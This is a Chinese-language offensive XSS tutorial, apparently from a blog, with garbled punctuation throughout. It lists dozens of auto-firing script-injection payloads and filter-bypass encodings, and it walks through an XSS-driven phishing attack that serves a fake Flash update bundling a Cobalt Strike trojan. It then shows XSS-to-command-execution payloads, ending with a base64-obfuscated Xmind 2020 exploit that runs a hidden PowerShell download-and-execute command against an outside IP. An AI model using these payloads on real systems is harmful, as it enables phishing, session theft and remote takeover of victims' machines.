XSS,,全稱Cross Site Scripting,即跨站腳本攻擊,,是最普遍的Web應(yīng)用安全漏洞,。這類漏洞能夠使得攻擊者嵌入惡意腳本代碼到正常用戶會訪問到的頁面中,,當(dāng)正常用戶訪問該頁面時,則可導(dǎo)致嵌入的惡意腳本代碼的執(zhí)行,,從而達到惡意攻擊用戶的目的,。需要強調(diào)的是,XSS不僅僅限于JavaScript,,還包括flash等其它腳本語言,。根據(jù)攻擊代碼的工作方式,,XSS可以分為反射型的XSS、存儲型的XSS和DOM型的XSS,。 反射型反射型的XSS是非持久化的,,攻擊者事先制作好攻擊鏈接,需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼,,但是服務(wù)器中沒有這樣的頁面和內(nèi)容,,一般容易出現(xiàn)在搜索頁面。 存儲型存儲型的XSS是持久化的,,代碼是存儲在服務(wù)器中的,,如在個人信息或發(fā)表文章等地方,加入代碼,,如果沒有過濾或過濾不嚴,,那么這些代碼將儲存到服務(wù)器中,每當(dāng)有用戶訪問該頁面的時候都會觸發(fā)代碼執(zhí)行,。這種XSS非常危險,,容易造成蠕蟲,大量盜竊cookie,。 DOM型DOM型的XSS是基于文檔對象模型Document Objeet Model,,DOM)的一種漏洞。DOM是一個與平臺,、編程語言無關(guān)的接口,,它允許程序或腳本動態(tài)地訪問和更新文檔內(nèi)容、結(jié)構(gòu)和樣式,,處理后的結(jié)果能夠成為顯示頁面的一部分,。DOM中有很多對象,其中一些是用戶可以操縱的,,如uRI ,,location,refelTer等,??蛻舳说哪_本程序可以通過DOM動態(tài)地檢查和修改頁面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務(wù)器端,,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴格確認,就會產(chǎn)生DOM XSS漏洞,。例如服務(wù)器端經(jīng)常使用document.boby.innerHtml等函數(shù)動態(tài)生成html頁面,,如果這些函數(shù)在引用某些變量時沒有進行過濾或檢查,就會產(chǎn)生DOM型的XSS。DOM型XSS可能是存儲型,,也有可能是反射型,。 一些常用的標(biāo)簽與屬性下面我列舉的標(biāo)簽大部分是可以自動觸發(fā)js代碼的,無需用戶去交互,,大部分情況下我們也是希望是自動觸發(fā)而不是等用戶去觸發(fā),。 scirpt 標(biāo)簽
<script>alert(1);</script><script>alert("xss");</script> img 標(biāo)簽
<imgsrc=1onerror=alert(1);><imgsrc=1onerror=alert("xss");> input 標(biāo)簽
onfocus 事件在對象獲得焦點時發(fā)生: <inputonfocus=alert(1);> 競爭焦點,,從而觸發(fā)onblur事件: <inputonblur=alert(1)autofocus><inputautofocus> input 標(biāo)簽的 autofocus 屬性規(guī)定當(dāng)頁面加載時 <inputonfocus="alert(1);"autofocus> details 標(biāo)簽
<detailsontoggle=alert(1);> 使用details 標(biāo)簽的 open 屬性觸發(fā)ontoggle事件,,無需用戶去點擊即可觸發(fā): <detailsopenontoggle=alert(1);> svg 標(biāo)簽
<svgonload=alert(1);> select 標(biāo)簽
<selectonfocus=alert(1)></select> 通過autofocus屬性規(guī)定當(dāng)頁面加載時元素應(yīng)該自動獲得焦點,,這個向量是使焦點自動跳到輸入元素上,,觸發(fā)焦點事件,無需用戶去觸發(fā): <selectonfocus=alert(1)autofocus> iframe 標(biāo)簽
<iframeonload=alert(1);></iframe> video 標(biāo)簽
<video><sourceonerror=alert(1)> audio 標(biāo)簽
<audiosrc=xonerror=alert(1);> body 標(biāo)簽
<bodyonload=alert(1);> onscroll 事件在元素滾動條在滾動時觸發(fā),。我們可以利用換行符以及autofocus,,當(dāng)用戶滑動滾動條的時候自動觸發(fā),無需用戶去點擊觸發(fā): <bodyonscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> textarea 標(biāo)簽
<textareaonfocus=alert(1);autofocus> keygen 標(biāo)簽<keygenautofocusonfocus=alert(1)> //僅限火狐 marquee 標(biāo)簽<marqueeonstart=alert(1)></marquee> //Chrome不行,,火狐和IE都可以 isindex 標(biāo)簽<isindextype=imagesrc=1onerror=alert(1)>//僅限于IE 利用 link 遠程包含 JavaScript 文件
<linkrel=importhref="http://47..72/evil.js"> 利用 JavaScript 偽協(xié)議
a 標(biāo)簽<ahref="javascript:alert(1);">xss</a> iframe 標(biāo)簽<iframesrc=javascript:alert(1);></iframe> img 標(biāo)簽<imgsrc=xonerror=alert(1)><imgsrc=javascript:alert(1)> //IE7以下 form 標(biāo)簽<formaction="Javascript:alert(1)"><inputtype=submit> XSS 常見繞過姿勢繞過空格過濾當(dāng)空格被過濾了時,我們可以用 <img/src="x"/onerror=alert(1);> 也可以: <img/src="x"onerror=alert(1);> 繞過引號過濾如果是html標(biāo)簽中,,我們可以不用引號,。如果是在js中,我們可以用反引號代替單雙引號: <imgsrc=xonerror=alert(`xss`);> 繞過括號過濾當(dāng)括號被過濾的時候可以使用throw來繞過,。throw 語句用于當(dāng)錯誤發(fā)生時拋出一個錯誤,。 <imgsrc=xonerror="javascript:window.onerror=alert;throw1"><aonmouseover="javascript:window.onerror=alert;throw 1> 繞過關(guān)鍵字過濾大小寫繞過<sCRiPt>alert(1);</sCrIpT><ImGsRc=xonerRor=alert(1);> 雙寫繞過有些waf可能會只替換一次且是替換為空,這種情況下我們可以考慮雙寫關(guān)鍵字繞過 <scrscriptipt>alert(1);</scrscriptipt><imimggsrsrcc=xonerror=alert(1);> 字符串拼接繞過利用eval()函數(shù)與PHP的eval()函數(shù)相同,,JavaScript的eval()函數(shù)也可以計算 JavaScript 字符串,,并把它作為腳本代碼來執(zhí)行。 <imgsrc="x"onerror="a='aler';b='t';c='(1)';eval(a+b+c)"><imgsrc="x"onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">// 在js中,,我們可以用反引號代替單雙引號 利用top<script>top["al"+"ert"](`xss`);</script><script>top["al"+"ert"]("xss");</script> XSS 輸出點總結(jié)WAF最大的問題,,在于不知道輸出的位置,導(dǎo)致攻擊者根據(jù)具體環(huán)境以及具體輸出的標(biāo)簽類型便可以繞過,。 輸出在屬性里例如輸出的位置位于value屬性中: <inputvalue="[輸出]"type=text> 我們可以選擇直接閉合標(biāo)簽: "><img src=x onerror=alert(1);>// 輸出后如下:// <input value=""><img src=x onerror=alert(1);>" type=text> 如果 " autofocus onfocus=alert(1)//" autofocus onfocus=alert(1) "// 輸出后如下:// <input value="" autofocus onfocus=alert(1)//" type=text> 同樣還有很多其他的payload: " onmouseover=prompt(0) x="" onfocusin=alert(1) autofocus x="" onfocusout=alert(1) autofocus x="" onblur=alert(1) autofocus a=" 還有一些特殊的場景,如: <inputtype="hidden"value="[輸出]"/><inputvalue="[輸出點]"type="hidden"/> 這里只能把input標(biāo)簽閉合,,然后直接執(zhí)行腳本,,否則會因為type為hidden導(dǎo)致無法執(zhí)行腳本。 輸出在HTML標(biāo)簽之間例如輸出的位置如下: <divid="body">[輸出]</div> 直接提交 · 那么就得先把那個標(biāo)簽閉合(后文會講到原理),然后在注入XSS語句,,例如: </textarea><script>alert(1)</script> 輸出在script標(biāo)簽之間例如: <script>var x ="input";</script> 可控位置在input,,可以閉合script標(biāo)簽插入代碼,但是同樣我們僅僅閉合雙引號就可以執(zhí)行js代碼了: ";alert(1)//// 輸出后如下:// <script>var x = "";alert(1)//";</script> XSS 字符編碼繞過在XSS中,,還有一個繞過關(guān)鍵字過濾的方法,,那就是字符編碼繞過。這里給出一個編碼網(wǎng)站:https://bianma./ 編碼屬于計算機系統(tǒng)的基礎(chǔ)知識,,其內(nèi)容寫起來估計也可以出本書了,,不過或多或少我們都有所了解,總的來說,,編碼就是將字符變?yōu)槎M制數(shù),,而解碼就是將二進制數(shù)還原為字符。從瀏覽器請求url到在頁面上顯示出來也經(jīng)歷了一些編碼和解碼過程,,下面大概介紹一下流程,。 請求網(wǎng)頁解碼流程·HTML 編碼/解碼 當(dāng)瀏覽器接收到服務(wù)端發(fā)送來的二進制數(shù)據(jù)后,,首先會對其進行HTML解碼,呈現(xiàn)出來的就是我們看到的源代碼,。具體的解碼方式依具體情況而定,,所以我們需要在頁面中指定編碼,防止瀏覽器按照錯誤的方式解碼,,造成亂碼,。 但是在HTML中有些字符是和關(guān)鍵詞沖突的,比如 字符實體是一個轉(zhuǎn)義序列,,它定義了一般無法在文本內(nèi)容中輸入的單個字符或符號。一個字符實體以一個&符號開頭,,后面跟著一個預(yù)定義的實體的名稱,,或用&#開頭+實體編號+分號來表示。 常見的HTML字符實體有: 一個HTML解析器作為一個狀態(tài)機,它從輸入流中獲取字符并按照轉(zhuǎn)換規(guī)則轉(zhuǎn)換到另一種狀態(tài),。在解析過程中,任何時候它只要遇到一個 簡單的說就是,,瀏覽器對HTML解碼之后就開始解析HTML文檔,將眾多標(biāo)簽轉(zhuǎn)化為內(nèi)容樹中的DOM節(jié)點,,此時識別標(biāo)簽的時候,,HTML解析器是無法識別那些被實體編碼的內(nèi)容的,只有建立起DOM樹,,才能對每個節(jié)點的內(nèi)容進行識別,,如果出現(xiàn)實體編碼,,則會進行實體解碼,只要是DOM節(jié)點里屬性的值,,都可以被HTML編碼和解析,。 所以在PHP中,使用htmlspecialchars()函數(shù)把預(yù)定義的字符轉(zhuǎn)換為HTML實體,,只有等到DOM樹建立起來后,,才會解析HTML實體,起到了XSS防護作用,。 ·URL 解碼 URL編碼是為了允許URL中存在漢字這樣的非標(biāo)準(zhǔn)字符,,本質(zhì)是把一個字符轉(zhuǎn)為%加上UTF-8編碼對應(yīng)的16進制數(shù)字。所以又稱之為Percent-encoding,。 在服務(wù)端接收到請求時,,會自動對請求進行一次URL解碼。 ·JavaScript 解碼(只支持Unicode) 當(dāng)HTML解析產(chǎn)生DOM節(jié)點后,,會根據(jù)DOM節(jié)點來做接下來的解析工作,,比如在處理諸如 比如 下面用一個普通的XSS代碼來說明一下瀏覽器對其解析的過程,。 · 首先HTML解析器開始工作,并對href中的字符做HTML解碼,,接下來URL解析器對href值進行解碼,,正常情況下URL值為一個正常的URL鏈接,如: 整個解析順序為3個環(huán)節(jié):HTML解碼 —>URL解碼 —>JS解碼 我們可以對XSS攻擊向量做這三種編碼都可以成功彈框,。 HTML 實體編碼我們可以將DOM節(jié)點中的內(nèi)容轉(zhuǎn)化為HTML實體,因為解析HTML之后建立起節(jié)點,,然后會對DOM節(jié)點里面的HTML實體進行解析,。HTML 編碼主要分為10進制和16進制,格式為以 · // 十進制<ahref=javascript:alert("xss")>test</a>// 十六進制<ahref=javascript:alert("xss")>test</a>// 也可以不帶分號<ahref=javascript:alert("xss")>test</a> · // 十進制<imgsrc=xonerror=alert("xss")>// 十六進制<imgsrc=xonerror=alert("xss")>// 也可以不帶分號<imgsrc=xonerror=alert("xss")> 但是要注意,,對于HTML字符實體,并不是說任何地方都可以使用實體編碼,,只有處于 “數(shù)據(jù)狀態(tài)中的字符引用”,、“屬性值狀態(tài)中的字符引用” 和 “RCDATA狀態(tài)中的字符引用” 這三種狀態(tài)中的HTML字符實體將會從 (1)數(shù)據(jù)狀態(tài)中的字符引用:數(shù)據(jù)狀態(tài)就是解析一個標(biāo)簽內(nèi)里面的內(nèi)容,,如 <div><imgsrc=xonerror=alert("xss")></div> 如下圖,此時在頁面上顯示的是經(jīng)過轉(zhuǎn)義的內(nèi)容: (2)屬性值狀態(tài)中的字符引用:屬性值狀態(tài)中的字符引用就好理解了,,就是src,herf這樣的屬性值中的HTML實體,,他也是會先進行HTML解碼的,,比如下面的語句,會先對里面HTML解碼,,然后再繼續(xù)往下執(zhí)行: <ahref=javascript:alert("xss")>test</a> (3)RCDATA狀態(tài)中的字符引用:然后再來看一下什么是RCDATA轉(zhuǎn)態(tài),這里需要我們先了解一下HTML中有五類元素: 1.空元素(Void elements),,如 注意到RCDATA元素中有 <textarea><script>alert("xss")</script></textarea> image-20210202194554798 <textarea><script>alert("xss")</script></textarea> 同樣也是不會觸發(fā)XSS的: 另外還有一點要注意:我們從上面HTML的五類元素中還發(fā)現(xiàn)有一個原始文本元素 <script>alert("xss")</script> image-20210202194716116 URL編碼我們可以并將src或href屬性中的內(nèi)容進行URL編碼,,當(dāng)HTML解析器對src或href中的字符完成HTML解碼后,接下來URL解析器會對src或href中的值進行URL解碼,。 <ahref="...">xx</a><iframesrc="..."> 下面給出幾個實例,。 · <ahref=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a> · <iframesrc="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe> 注意,偽協(xié)議頭 但是偽協(xié)議頭 Javascript 編碼我們可以將DOM節(jié)點中的內(nèi)容轉(zhuǎn)化為 Javascript 編碼,。當(dāng)HTML解析產(chǎn)生DOM節(jié)點后,,會根據(jù)DOM節(jié)點來做接下來的解析工作,比如在處理諸如 Javascript 中可以識別的編碼類型有: ·Unicode 編碼·八進制編碼·十六進制編碼 一般情況下我們使用Unicode編碼的比較廣泛,,而八進制和十六進制只有在DOM環(huán)境或eval()等函數(shù)中才可以用,。 Unicode 編碼· <script>\u0061\u006C\u0065\u0072\u0074("xss")</script><script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script> · <ahref=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a><ahref=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a> 但要注意,我們同樣也不能對偽協(xié)議頭 在DOM環(huán)境中的JavaScript編碼對于八進制編碼和十六進制編碼,與 Unicode 編碼還是有區(qū)別,,像下面的XSS向量是不能直接執(zhí)行的: · <script>\141\154\145\162\164("xss")</script> · <ahref=javascript:\x61\x6c\x65\x72\x74("xss")>test</a> 如下圖,,插入之后沒有任何反應(yīng): 測試代碼: <divid='s'>test</div><script>var search ="..."; document.getElementById('s').innerHTML = search;</script> 以上情況很多都是出現(xiàn)在你搜索后,,顯示你所查詢的關(guān)鍵字,變量 <divid='s'>test</div><script>var search ="<iframe src=javascript:alert('xss')></iframe>"; document.getElementById('s').innerHTML = search;</script> image-20210202163852523 // Unicode編碼\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E// 八進制編碼\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76// 十六進制編碼\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e image-20210202163825646 · <script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script> · <ahref=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a> · <imgsrc=xonerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> 或者也可以直接將一整段js代碼編碼后放入eval()函數(shù)中執(zhí)行,。 混合編碼混合編碼就是對一個XSS向量同時進行多種編碼,,如下示例: · // 對javascript:進行HTML編碼, 對alert("xss")進行URL編碼<ahref=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>// 對javascript:進行HTML編碼, 對alert進行Unicode編碼<ahref=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a> 也可以利用解碼順序進行混合編碼,如下示例: · 首先對“alert”進行JavaScript Unicode編碼: <ahref=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a> 然后再對 <ahref=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a> 最后對標(biāo)簽中的 <ahref=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a> SVG:XSS的一個黑魔法我們在上文HTML編碼那里最后留了一個坑,,即HTML的五類元素中,,像 也就是說,,向下面這樣的代碼,瀏覽器不會對其中的HTML實體字符進行解碼,,也就不會執(zhí)行并觸發(fā)XSS了: <script>alert("xss")</script><script>alert(1)</script><script>alert(1)</script> 那如何繞過HTML原始文本元素進而執(zhí)行HTML實體解碼呢,,這涉及到了 <svg><script>alert("xss")</script><svg><script>alert(1)</script><svg><script>alert(1)</script> image-20210202200455541 是因為 XSS 測試流程思路下面讓我們來看一下XSS繞過的測試流程,。 現(xiàn)實中,,大多數(shù)的場所是用的黑名單來做XSS過濾器的,有三種方式繞過黑名單的測試: 1.暴力測試(輸入大量的payload,,看返回結(jié)果)2.根據(jù)正則推算3.利用瀏覽器bug 初步測試(1)嘗試插入比較正常的HTML標(biāo)簽,,例如: (2)嘗試插入不閉合的標(biāo)簽,,例如: (3)然后測試幾種常見的XSS向量: <script>alert(1)</script><script>prompt(1)</script><script>confirm(1)</script>...... 看返回響應(yīng),,是過濾的全部,還是只過濾了部分,,是否還留下了 alert、prompt,、confirm 等字符,,再嘗試大小寫的組合: <scRiPt>alert(1);</scrIPt> (4)如果過濾器僅僅是把 <scr<script>ipt>alert(1)</scr<script>ipt> 這樣當(dāng) (5)用 <ahref="http://www.baidu.com">click</a> 看看 <ahref="javascript:alert(1)">click</a> 看是否返回錯誤,,javascript的整個協(xié)議內(nèi)容是否都被過濾掉,還是只過濾了javascript字符,。 繼續(xù)測試事件觸發(fā)執(zhí)行javascript: <ahref=xonmouseover=alert(1)>ClickHere</a> 看onmouseover事件是否被過濾,。 測試一個無效的事件,看看他的過濾規(guī)則: <ahref=xonclimbatree=alert(1)>ClickHere</a> 是完整的返回了呢,,還是跟onmouseover一樣被干掉了,。如果是完整的返回的話,那么就意味著,,做了事件的黑名單,,但是在HTML5中,有超過150種的方式來執(zhí)行javascript代碼的事件,,我們可以選用別的事件,。測試一個很少見的事件: <bodyonhashchange=alert(1)><ahref=#>click</a>
測試其他標(biāo)簽和屬性HTML的標(biāo)簽和屬性太多了,,上文中已經(jīng)列出了很多了,。 XSS 攻擊面拓展利用 XSS 釣魚通過 XSS 盜取 CookieCookie盜取是xss攻擊中最實用也是最廣泛的一種利用方式之一。我們知道Cookie是Web系統(tǒng)識別用戶的身份和保存會話狀態(tài)的主要機制,,且是由服務(wù)器提供的,、存儲在客戶端的一種數(shù)據(jù)。同時,,對于cookie的操作十分的方便,,我們可以通過Document對象訪問Cookie。最簡單的比如: 在一般的通用CMS下呢,,為了通用模板的兼容性,,許多CMS本身不會使用“同源策略”等其他手段來防護XSS漏洞,而是使用自建的過濾函數(shù)來處理,,在這種情況下,,一旦出現(xiàn)XSS漏洞,我們就可以直接獲取目標(biāo)的Cookie然后使用特定的方法來傳輸cookie,。 這里,,我們可以利用網(wǎng)上現(xiàn)成的或自己搭建的XSS平臺來完成利用過程。 Flash 彈窗釣魚之前看過很多大佬使用XSS漏洞彈出Flash的更新頁面進行釣魚的操作,。今天我們終于有機會來演示一下了,。 其原理就是通過XSS漏洞,彈出Flash更新請求誘使用戶點擊,,使用戶跳轉(zhuǎn)到設(shè)置好的釣魚頁面(偽造好的Flash更新頁面),,下載偽造的Flash組件(木馬程序)并執(zhí)行,最終實現(xiàn)反彈Shell上線CS,,完成釣魚攻擊,。下面我們搭建環(huán)境進行演示。 實驗環(huán)境: 主機環(huán)境: ·攻擊機kali:192.168.0.182·受害機:192.168.0.125 工具環(huán)境: ·WeBug4.0·Flash 官網(wǎng)源碼 (1)制作 CS 捆綁木馬 這里我們選擇制作WinRAR自解壓捆綁木馬,,將 CS 木馬與真正的Flash更新程序捆綁在一起,,詳情參考我的文章:《釣魚攻擊:制作WinRAR自解壓捆綁木馬進行釣魚攻擊》 (2)搭建Flash釣魚頁面 首先我們需要在kali上搭建一個釣魚頁面,需要下載Flash官方頁面的源碼進行修改,。這里有兩個項目可以選擇: ·項目一地址:https://github.com/Wileysec/adobe-flash-phishing-page 該項目是模仿的 Flash Player 中文官網(wǎng)的頁面: 該項目是一個逼真的Flash更新提醒的彈窗,,強迫癥都會忍不住去點擊下載的: 找到flash.js,,搜索鏈接“https://www./”,,將其改為我們制作的木馬的鏈接地址,然后保存即可: 訪問目標(biāo)網(wǎng)站:
在最下方發(fā)現(xiàn)一個留言板: <script>window.location.href="http://192.168.0.182";</script> image-20210304175329132 XSS to RCE為了大大提升 XSS 的危害,,我們可以利用 JavaScript 來執(zhí)行系統(tǒng)命令,。 使用 WScript.Shell 執(zhí)行系統(tǒng)命令WScript.Shell(Windows Script Host Runtime Library)是一個對象,對應(yīng)的文件是C:/WINDOWS/system32/wshom.ocx,,Wscript.shell是服務(wù)器系統(tǒng)會用到的一種組件,。4這個對象可以執(zhí)行操作系統(tǒng)外殼常用的操作,比如運行程序,、讀寫注冊表,、環(huán)境變量等。簡單使用如下: var shell =newActiveXObject("WScript.Shell");shell.run("calc.exe"); 有時候為了 Bypass 也可以使用 <imgsrc=xonerror="eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));"> 使用 child_process 執(zhí)行系統(tǒng)命令如果目標(biāo)環(huán)境啟用了 NodeJS 的話,,我們也可以利用 NodeJS 的子進程(child_process)調(diào)用并執(zhí)行系統(tǒng)命令: <imgsrc=xonerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data',function(data){alert(data);})"><imgsrc=xonerror="require('child_process').exec('calc');"><img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');"> 能執(zhí)行系統(tǒng)命令了,那么 XSS 在釣魚攻擊中的作用便大大提高了,,我們完全可以利用 XSS 反彈 Shell 并上線 Metasploit 或 CS ,。請繼續(xù)往下看。 Xmind 2020 XSS 漏洞XMind 是一款專業(yè)的全球領(lǐng)先的商業(yè)思維導(dǎo)圖軟件,,在國內(nèi)使用廣泛,,擁有強大的功能、包括思維管理,、商務(wù)演示,、與辦公軟件協(xié)同工作等功能。它采用全球先進的 Eclipse RCP 軟件架構(gòu),,是集思維導(dǎo)圖與頭腦風(fēng)暴于一體的可視化思考工具,,能用來捕捉想法、理清思路,、管理復(fù)雜信息并促進團隊協(xié)作,。XMind 思維導(dǎo)圖軟件曾被著名互聯(lián)網(wǎng)媒體 Lifehacker 評選為“最佳頭腦風(fēng)暴和思維導(dǎo)圖工具”及”最受歡迎的思維導(dǎo)圖軟件”。 2021年5月10日,,被爆 Xmind 2020 中存在 XSS 漏洞,,攻擊者可以借助該漏洞實現(xiàn)命令執(zhí)行,在實際環(huán)境中借助釣魚攻擊可能造成更嚴重的危害,。 漏洞利用很簡單,,在 “思維導(dǎo)圖” 中輸出 Payload: <imgsrc=xonerror=alert('xss')> image-20210518200806469 首先使用 CS 生成釣魚使用的 PowerShell 腳本: powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.101.57.72:8088/shell'))" 即: require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://47.101.57.72:8088/shell\'))"'); 為了更好地 Bypass,,我們可以將 payload 進行 base64 轉(zhuǎn)化一下,,最終的 Payload 如下: <imgsrc=xonerror='eval(newBuffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'> |
|